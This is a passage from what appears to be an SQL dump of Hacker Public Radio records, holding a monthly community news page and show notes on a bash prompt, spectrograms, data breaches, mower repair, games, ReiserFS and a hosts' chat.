href=\"https://hackerpublicradio.org/correspondents/0423.html\" target=\"_blank\">Noodlez</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3938/index.html\" target=\"_blank\">3938</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-09-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3938/index.html\" target=\"_blank\">An open directory of web audio stream</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3939/index.html\" target=\"_blank\">3939</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-09-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3939/index.html\" target=\"_blank\">How I got into tech and hacking</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0149.html\" target=\"_blank\">Trixter</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3940/index.html\" target=\"_blank\">3940</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-09-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3940/index.html\" target=\"_blank\">Equipment Maintenance</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3941/index.html\" target=\"_blank\">3941</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-09-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3941/index.html\" target=\"_blank\">Interview with Yosef Kerzner</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3942/index.html\" target=\"_blank\">3942</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-09-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3942/index.html\" target=\"_blank\">RE: How to make friends.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3943/index.html\" target=\"_blank\">3943</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-09-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3943/index.html\" target=\"_blank\">Why my Dell does it better on Linux.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0111.html\" target=\"_blank\">knightwise</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3944/index.html\" target=\"_blank\">3944</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-09-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3944/index.html\" target=\"_blank\">Race for the Galaxy</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0364.html\" target=\"_blank\">Tuula</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3945/index.html\" target=\"_blank\">3945</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-09-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3945/index.html\" target=\"_blank\">My chrome plugins</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0382.html\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3946/index.html\" target=\"_blank\">3946</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-09-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3946/index.html\" target=\"_blank\">Planning for a planner, part 02.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3947/index.html\" target=\"_blank\">3947</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-09-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3947/index.html\" target=\"_blank\">Archiving Floppy Disks</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0334.html\" target=\"_blank\">Steve Saner</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3948/index.html\" target=\"_blank\">3948</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-09-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3948/index.html\" target=\"_blank\">Cleaning up my mancave and talking about Creativity</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0111.html\" target=\"_blank\">knightwise</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3949/index.html\" target=\"_blank\">3949</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-09-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3949/index.html\" target=\"_blank\">How I use virtualisation to tame my Social Media addiction.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0111.html\" target=\"_blank\">knightwise</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3950/index.html\" target=\"_blank\">3950</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-09-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3950/index.html\" target=\"_blank\">Sid Meiers\' Alpha Centauri</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3951/index.html\" target=\"_blank\">3951</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-09-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3951/index.html\" target=\"_blank\">Cell Phone Screen Protectors</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3952/index.html\" target=\"_blank\">3952</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-09-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3952/index.html\" target=\"_blank\">Making the Case for Markdown</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0266.html\" target=\"_blank\">Keith Murray</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3953/index.html\" target=\"_blank\">3953</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-09-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3953/index.html\" target=\"_blank\">Large language models and AI don\'t have any common sense</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0424.html\" target=\"_blank\">hobs</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3954/index.html\" target=\"_blank\">3954</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-09-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3954/index.html\" target=\"_blank\">Sedating HPR at the Steading</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0225.html\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3955/index.html\" target=\"_blank\">3955</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-09-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3955/index.html\" target=\"_blank\">airgradient measurement station</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0382.html\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 8 comments in total.</p>\n<h3>Past shows</h3>\n<p>There is 1 comment on\n1 previous show:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3934/index.html#comments\" target=\"_blank\">hpr3934</a></strong>\n(2023-08-31) \"<em>Crusader Kings II</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0364.html\" target=\"_blank\">Tuula</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3934/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-09-04:\n\"Loved the show\"</li></ul><br/>\n</limage></ul>\n<h3>This month\'s shows</h3>\n<p>There are 7 comments on 6 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3937/index.html#comments\" target=\"_blank\">hpr3937</a></strong>\n(2023-09-05) \"<em>Adventures in Pi-Hole</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0423.html\" target=\"_blank\">Noodlez</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3937/index.html#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2023-09-16:\n\"Clever static IP solution\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3938/index.html#comments\" target=\"_blank\">hpr3938</a></strong>\n(2023-09-06) \"<em>An open directory of web audio stream</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3938/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-09-07:\n\"Update\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3940/index.html#comments\" target=\"_blank\">hpr3940</a></strong>\n(2023-09-08) \"<em>Equipment Maintenance</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3940/index.html#1\" target=\"_blank\">Comment 1</a>:\nReto on 2023-09-19:\n\"Tires\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3940/index.html#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2023-09-20:\n\"Telling it like it is\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3941/index.html#comments\" target=\"_blank\">hpr3941</a></strong>\n(2023-09-11) \"<em>Interview with Yosef Kerzner</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3941/index.html#1\" target=\"_blank\">Comment 1</a>:\nReto on 2023-09-19:\n\"honesty\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3946/index.html#comments\" target=\"_blank\">hpr3946</a></strong>\n(2023-09-18) \"<em>Planning for a planner, part 02.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3946/index.html#1\" target=\"_blank\">Comment 1</a>:\nReto on 2023-09-19:\n\"Previously\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3948/index.html#comments\" target=\"_blank\">hpr3948</a></strong>\n(2023-09-20) \"<em>Cleaning up my mancave and talking about Creativity</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0111.html\" target=\"_blank\">knightwise</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3948/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-09-24:\n\"TUCOWS\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://lists.hackerpublicradio.com/pipermail/hpr/2023-September/thread.html\" target=\"_blank\">https://lists.hackerpublicradio.com/pipermail/hpr/2023-September/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"fosdem-2024\">FOSDEM 2024</h3>\n<ul>\n<li><p>FOSDEM 2024 will take place on Saturday 3rd and Sunday 4th of\nFebruary 2024 in Brussels, Belgium. It will be at the usual location,\nthe ULB (Université libre de Bruxelles).</p></li>\n<li><p>Neither Ken nor Dave will be attending this time.</p></li>\n<li><p>If anyone wishes to apply for a stand on HPR\'s behalf, and if\npeople want to help out doing the key speaker interviews, please get in\ntouch.</p></li>\n</ul>\n<h3 id=\"site-migration\">Site migration</h3>\n<ul>\n<li><p>During September effort has gone into fixing broken links in the\nstatic site templates and the database itself.</p></li>\n<li><p>There are still more links to correct however.</p></li>\n<li><p>Each show page now contains a link to the version of the show\nuploaded to the Internet Archive. If there are HPR links in older shows\nthat have not been updated yet, this copy can be used instead.</p></li>\n</ul>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3691,'2022-09-26','Starship.rs the best prompt I don\'t use',1529,'Bash prompts','<p>Here\'s the snippets I use in my .bashrc file.</p>\n\n<pre><code>RED=&#39;&#92;033&#91;0;31m&#39;\nPLAIN=&#39;&#92;033&#91;0m&#39; # No Color\nWHITE=&#39;&#92;e&#91;97m&#39;\nGREEN=&#39;&#92;e&#91;0;32m&#39;\nPURPLE=&#39;&#92;e&#91;35;35m&#39;\nCYAN=&#39;&#92;e&#91;36;36m&#39;\n\nJAVA_VERSION=`java --version | head -1 | cut -f2 -d&#39; &#39;`\n\nIP=&#36;&#40;hostname -I | awk &#39;{print &#36;1;}&#39; &#41;\nsource &#47;usr&#47;doc&#47;git-2.35.1&#47;contrib&#47;completion&#47;git-prompt.sh\nPS1=&#39;&#92;! &#91;&#92;&#91;&#39;&#36;GREEN&#39;&#92;&#93;&#36;&#40;hostname -s&#41; &#36;IP&#92;&#91;&#39;&#36;PLAIN&#39;&#92;&#93;&#93; &#91;&#92;&#91;&#39;&#36;CYAN&#39;&#92;&#93;&#36;&#40;pwd -P&#41;&#92;&#91;&#39;&#36;PLAIN&#39;&#92;&#93;&#93; &#36;&#40;__git_ps1 &#34;&#91;&#92;&#91;&#39;&#36;PURPLE&#39;&#92;&#93; %s&#92;&#91;&#39;&#36;PLAIN&#39;&#92;&#93;&#93;&#34;&#41;&#91;☕ &#39;&#36;JAVA_VERSION&#39;&#93;&#92;n&#92;&#91;&#39;&#36;GREEN&#39;&#92;&#93;&#36;&#92;&#91;&#39;&#36;PLAIN&#39;&#92;&#93; &#39;</code></pre>\n',78,0,0,'CC-BY-SA','bash,ps1,terminal,linux',0,0,1),
(3698,'2022-10-05','Spectrogram',949,'Edit audio as a spectrogram','<p>Here\'s a view of my voice. The bright spots at the bottom of the image are my voice, and the bright burst at the top is a click caused by saliva.</p>\n<img src=\"https://i.imgur.com/CmL49Ne.png\" />\n<p>Here\'s me inhaling. Notice how sparse this is compared to my voice.</p>\n<img src=\"https://i.imgur.com/DXGrh5u.png\" />\n<p>One thing I fail to mention in the episode is that there are network monitors that render network activity as a spectrogram, too. If you don\'t have a <a href=\"https://www.metageek.com/wi-spy/\" target=\"_blank\">Wi-Spy</a>, it\'s worth looking at.</p>\n',78,0,0,'CC-BY-SA','audio',0,0,1),
(3726,'2022-11-14','Breaches ever reaching',251,'A short episode about the reaching effects of breaches and forgotten accounts','<p>A short episode about the reaching effects of breaches and accounts you may have forgotten about.</p>\n<ul>\n<li><p>New Marriot Breach:<br />\n<a href=\"https://techcrunch.com/2022/07/06/marriott-breach-again/\" class=\"uri\">https://techcrunch.com/2022/07/06/marriott-breach-again/</a></p></li>\n<li><p>Privacy Fix: How to Find Old Online Accounts from Consumer Reports:<br />\n<a href=\"https://www.consumerreports.org/digital-security/how-to-find-old-online-accounts-a1266305698/\" class=\"uri\">https://www.consumerreports.org/digital-security/how-to-find-old-online-accounts-a1266305698/</a></p></li>\n<li><p>Has you email or phone number been in a breach?<br />\n<a href=\"https://haveibeenpwned.com/\" class=\"uri\">https://haveibeenpwned.com/</a></p></li>\n<li><p>Cool Shit:</p>\n<ul>\n<li>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></li>\n</ul></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,breach,data reduction,privacy',0,0,1),
(3692,'2022-09-27','What is a real hacker?',1840,'I discuss the issue of what makes a real hacker with my my son','<p>In this episode, I discuss the ever prominent question of \"What is a real hacker?\" in explicitly explicit language. So enjoy the discussion and give me your thoughts. This topic always gets peoples feathers ruffled, so agree, disagree? Leave your thoughts or post your own segment on HPR!</p>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,hacking,hacker',0,0,1),
(3693,'2022-09-28','Fixing the automatic cutoff mechanism to an electric mower',274,'Rho`n describes fixing the safety mechanism to his electric mower','<h1>Synopsis</h1>\n\n<p>In this episode, Rho`n fixes the safety mechanism to his Neuton electric mower. Recently the automatic cutoff mechanism was getting finicky. Needing to pull the safety bar back just the correct amount to keep the mower running. Often needing to keep hands on both the left and right sides of the safety bar to prevent the mower from turning off.</p>\n<p>After opening up the housing holding the safety bars, it appeared that the tension spring which causes the bars to disengage from the switch when the bars are released was loose. This would allow the prong that the bars push into the switch contact to slip off the contact and slide overtop of the switch&mdash;turning off the mower. After tightening the coils and putting it back in place, the issue was resolved.</p>\n<style>\ndiv#figures {\n    display: flex;\n    flex-direction: row;\n    flex-wrap: wrap;\n    justify-content: center;\n}\ndiv#figures figcaption { max-width: 490px; }\ndiv#figures img { max-width: 50vw; padding-bottom: 0.15em }\n</style>\n<div id=\"figures\">\n<figure>\n    <a href=\"https://hackerpublicradio.org/eps/hpr3693/hpr3693/mower01-lg.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3693/hpr3693/mower01-sm.jpg\"\n         alt=\"Neuton electric mower\"></a>\n    <br>\n    <figcaption>Neuton electric mower with handle collapsed showing the bottom of the safety handle housing.</figcaption>\n</figure>\n<figure>\n    <a href=\"https://hackerpublicradio.org/eps/hpr3693/hpr3693/mower02-lg.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3693/hpr3693/mower02-sm.jpg\"\n                                   alt=\"Internal view of safety mechanism\"></a>\n    <br>\n    <figcaption>Internal view of the automatic cutoff mechanism.</figcaption>\n</figure>\n</div>\n\n<h1>Attribution</h1>\n\n<p>The <a href=\"https://freesound.org/\">transition sound used between audio clips is found on freesound.org</a>:<br>\n<a href=\"https://freesound.org/people/DanJFilms/sounds/529064/\">Name: Harp Transition Music Cue</a><br>\n<a href=\"https://freesound.org/people/DanJFilms/\">Author: DanJFilms</a><br>\n<a href=\"http://creativecommons.org/publicdomain/zero/1.0/\">License: Creative Commons Zero</a></p>\n\n',293,0,0,'CC-BY-SA','electric lawnmower,lawnmower,repair',0,0,1),
(3694,'2022-09-29','Robo Tripping Ravelords of the Apocalypse',616,'Organic Synthesis of Human and Machine Occurs Post Cosmic Event    ','\r\n<p>In the aftermath of the cosmic event that destroyed all computers below a certain die size, more robust machines emerge from the ashes.</p>\r\n\r\n<p><a href=\"/eps/hpr3694/hpr3694/3694.jpg\"><img src=\"/eps/hpr3694/hpr3694/3694-thumb.jpg\" alt=\"Sketch of the machine\" /></a></p>\r\n',401,0,0,'CC-BY-SA','beam,righttorepair,robots,mechatronics,apocalypse',0,0,1),
(3699,'2022-10-06','Old and new videogames/board games with guest binrc',2552,'We will dive into our favorite games or others with interesting mechanics.','<h1 id=\"videogames\">Videogames</h1>\n<p>Cruelty Squad on Steam <a href=\"https://store.steampowered.com/app/1388770/Cruelty_Squad/\">Steam</a></p>\n<p>Half-Life <a href=\"https://store.steampowered.com/app/70/HalfLife/\">Steam</a></p>\n<p>Half-Life 2 <a href=\"https://store.steampowered.com/app/220/HalfLife_2/\">Steam</a></p>\n<p>Deus Ex <a href=\"https://store.steampowered.com/app/6910/Deus_Ex_Game_of_the_Year_Edition/\">Steam</a>, <a href=\"https://www.gog.com/en/game/deus_ex\">GOG</a></p>\n<p>Fallout 3 <a href=\"https://store.steampowered.com/app/22300/Fallout_3/\">Steam</a>, <a href=\"https://www.gog.com/en/game/fallout_3_game_of_the_year_edition\">GOG</a></p>\n<p>Slay the Spire <a href=\"https://store.steampowered.com/app/646570/Slay_the_Spire/\">Steam</a>, <a href=\"https://www.gog.com/game/slay_the_spire\">GOG</a></p>\n<p>Crypt of the NecroDancer <a href=\"https://store.steampowered.com/app/247080/Crypt_of_the_NecroDancer/\">Steam</a>, <a href=\"https://www.gog.com/game/crypt_of_the_necrodancer\">GOG</a></p>\n<p>Spin the bottle Bumpie\'s party (Nintendo WiiU) <a href=\"http://spinthebottlethegame.com/\">website</a></p>\n<p>Affordable space adventures (Nintendo WiiU) <a href=\"http://affordablespaceadventures.com/\">website</a></p>\n<p>Old School Runescape <a href=\"https://play.runescape.com/oldschool\">website</a>, <a href=\"https://runelite.net/\">open-source client</a></p>\n<p>Runescape music: Sea shanty 2 <a href=\"https://www.youtube.com/watch?v=BJhF0L7pfo8\">original</a>, <a href=\"https://www.youtube.com/watch?v=bfcZacwnVCk\">remix</a></p>\n<p>Life is strange <a href=\"https://store.steampowered.com/app/319630/Life_is_Strange__Episode_1/\">Steam</a>, <a href=\"https://www.gog.com/game/life_is_strange_complete_season\">GOG</a></p>\n<p>Grim Fandango <a href=\"https://store.steampowered.com/app/316790/Grim_Fandango_Remastered/\">Steam</a></p>\n<h2 id=\"linux-native-games\">Linux-native games</h2>\n<p>These games can be found in most linux distro repositories.</p>\n<p>Endless Sky <a href=\"https://endless-sky.github.io/\">website</a>, <a href=\"https://store.steampowered.com/app/404410/Endless_Sky/\">Steam</a></p>\n<p>Powermanga <a href=\"https://linux.tlk.fr/games/Powermanga/\">website</a></p>\n<p>SuperTuxKart <a href=\"https://supertuxkart.net/Main_Page\">website</a></p>\n<p>Xbill <a href=\"https://en.wikipedia.org/wiki/XBill\">Wikipedia</a>, <a href=\"http://www.xbill.org/\">website</a></p>\n<h2 id=\"retrogame\">Retrogame</h2>\n<p>Banjo Kazooie (Nintendo 64) <a href=\"https://en.wikipedia.org/wiki/Banjo-Kazooie\">Wikipedia</a></p>\n<p>Ducktales (NES) <a href=\"https://en.wikipedia.org/wiki/DuckTales_(video_game)\">Wikipedia</a></p>\n<h1 id=\"board-games\">Board Games</h1>\n<p>Labyrinth <a href=\"https://www.ravensburger.us/products/games/award-winning-games/labyrinth-26448/index.html\">website</a></p>\n<p>Tokaido <a href=\"https://funforge.fr/game/en/tokaido\">website</a>, <a href=\"https://store.steampowered.com/app/648750/Tokaido/\">Steam</a></p>\n<p>Wingspan <a href=\"https://stonemaiergames.com/games/wingspan/\">website</a>, <a href=\"https://store.steampowered.com/app/1054490/Wingspan/\">Steam</a></p>\n',407,0,1,'CC-BY-SA','games,guest,videogames,board games',0,0,1),
(3701,'2022-10-10','ReiserFS - the file system of the future',1171,'The history and future of ReiserFS, its involvement with DARPA, a sordid murder and Kernel politics','<ul>\n<li>ReiserFS &#x2013; The file system of the future</li>\n<li>Intro: Welcome to HPR; What I do; How I got in to computing; How I got in to Slackware and discovered ReiserFS</li>\n<li>A history of ReiserFS: Previous episode; Brief recap; A brief history; Lessons learned and experiences gained; Some tools to use</li>\n<li>Outro: Thanks</li>\n</ul>\n\n<h3>ReiserFS</h3>\n<em><a href=\"https://en.wikipedia.org/wiki/ReiserFS\">From Wikipedia, the free encyclopedia</a></em>\n\n<p>\nReiserFS is a general-purpose, journaling file system initially designed and implemented by a team at Namesys led by Hans Reiser and licensed under GPLv2. Introduced in version 2.4.1 of the Linux kernel, it was the first journaling file system to be included in the standard kernel. ReiserFS was the default file system in Novell\'s SUSE Linux Enterprise until Novell decided to move to ext3 on October 12, 2006, for future releases.<br />\n\nNamesys considered ReiserFS version 3.6 which introduced a new on-disk format allowing bigger filesizes, now occasionally referred to as Reiser3, as stable and feature-complete and, with the exception of security updates and critical bug fixes, ceased development on it to concentrate on its successor, Reiser4. Namesys went out of business in 2008 after Reiser\'s conviction for murder. The product is now maintained as open source by volunteers. The reiserfsprogs 3.6.27 were released on 25 July 2017.<br />\n\nReiserFS is currently supported on Linux without quota support. It has been discussed for removal from the Linux kernel since early 2022 due to a lack of maintenance upstream, and technical issues inherent to the filesystem, such as the fact it suffers from the year 2038 problem; it was deprecated in Linux 5.18, with removal planned for 2025.\n</p>\n',411,0,0,'CC-BY-SA','hans reiser, reiserfs, reiser4, reiser5, slackware, linux, intro, darpa, acorn, amiga, commodore',0,0,1),
(3702,'2022-10-11','Easter Ogg',3722,'From Scotland, another chat between MrX and Dave Morriss','<article>\n<h2 id=\"introduction\">Introduction</h2>\n<p>Hosts:</p>\n<ul>\n<li><a href=\"https://hackerpublicradio.org/correspondents/0201.html\">MrX</a></li>\n<li><a href=\"https://hackerpublicradio.org/correspondents/0225.html\">Dave Morriss</a></li>\n</ul>\n<p>We recorded this on Monday September 12<sup>th</sup> 2022. We have a list of talking points each time and <em>never</em> get through them!</p>\n<h2 id=\"topics-discussed\">Topics discussed</h2>\n<ul>\n<li>Places visited:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Lake_District\">Lake District, England</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Loch_Lomond\">Loch Lomond, Scotland</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Stockbridge,_Edinburgh\">Stockbridge, Edinburgh</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Water_of_Leith\">Water of Leith, Edinburgh</a></li>\n</ul></li>\n</ul>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Death_and_state_funeral_of_Elizabeth_II\">Death of Queen Elizabeth</a>\n<ul>\n<li>Died September 8<sup>th</sup> 2022 at Balmoral Castle, Scotland, aged 96</li>\n<li>State funeral 2022-09-19</li>\n</ul></li>\n</ul>\n<ul>\n<li>Navigation by phone:\n<ul>\n<li>Dave’s phone battery out of charge on the outskirts of Liverpool on the way to OggCamp.</li>\n<li>MrX’s old Garmin GPS used weird routes when travelling</li>\n<li>Dave once met a lost driver going down Donkey Lane<a href=\"#fn1\" class=\"footnote-ref\" id=\"fnref1\" role=\"doc-noteref\"><sup>1</sup></a> to the pedestrian railway crossing due to bad GPS directions</li>\n</ul></li>\n</ul>\n<ul>\n<li>Domestic stuff:\n<ul>\n<li>Dave’s house has been painted. It’s covered in <a href=\"https://en.wikipedia.org/wiki/Harling_(wall_finish)\"><em>harling</em></a> (aka <em>rough-cast</em> or <em>pebble-dash</em> in England) which has very sharp stones embedded in it, and this paint covers these sharp stones.</li>\n<li>Plumbing issues: stopping a dripping tap, replacing the washer, or with modern taps <em>the module</em>.</li>\n<li>Advisability of calling in a plumber!</li>\n</ul></li>\n</ul>\n<ul>\n<li>COVID-19, and related:\n<ul>\n<li>The virus has not gone, even though there are many who pretend that it has.</li>\n<li>MrX and MrsX visited <a href=\"https://en.wikipedia.org/wiki/St_Bees\">St Bees</a> for a wedding with a <a href=\"https://en.wikipedia.org/wiki/C%C3%A8ilidh\">Cèilidh</a> and MrX caught COVID there, though it wasn’t serious. MrsX did not catch it!</li>\n<li>Immunology is hard to understand! Some cold-like illnesses may be caused by other corona viruses and may help protect against SARS-CoV-2.</li>\n<li>Dave has an Immunology book, but hasn’t read it yet! See the links for details.</li>\n<li>MrX mentioned <a href=\"https://www.taxresearch.org.uk/Blog/\">Richard J Murphy</a> in the context of being realistic about COVID-19 and continuing to take precautions.</li>\n<li>Reluctance to go shopping. Dave makes a weekly trip, wearing a mask. MrX uses <em>Click and Collect</em>.</li>\n<li>Dave has lost weight so some of his clothes are too big. MrX has trouble finding smaller sized clothes when shopping.</li>\n</ul></li>\n</ul>\n<ul>\n<li>Old technology:\n<ul>\n<li>MrX recently found a box in his wardrobe with six <a href=\"https://en.wikipedia.org/wiki/Psion_Series_3#Psion_Series_3c\">Psion 3c Organisers</a> in it, in various states of disrepair. From these a functioning organiser was made, which is in regular use.</li>\n<li>MrX used to have a <a href=\"https://en.wikipedia.org/wiki/Psion_Series_3#Psion_Series_3a\">Psion Series 3a</a> but the hinge failed.</li>\n<li>Dave had a <a href=\"https://en.wikipedia.org/wiki/Psion_Series_5\">Psion Series 5mx</a> for a time, as did MrsX. Dave’s failed either because of a screen fault or a failure of the ribbon cable connecting to the screen.</li>\n<li>The Series 3c, and the later 3mx, have an Easter Egg available through a particular key sequence. This is a rendition of the anthem “Jerusalem”, and is included at the end of this episode (and is responsible for the show title).</li>\n<li>Dave had had a <a 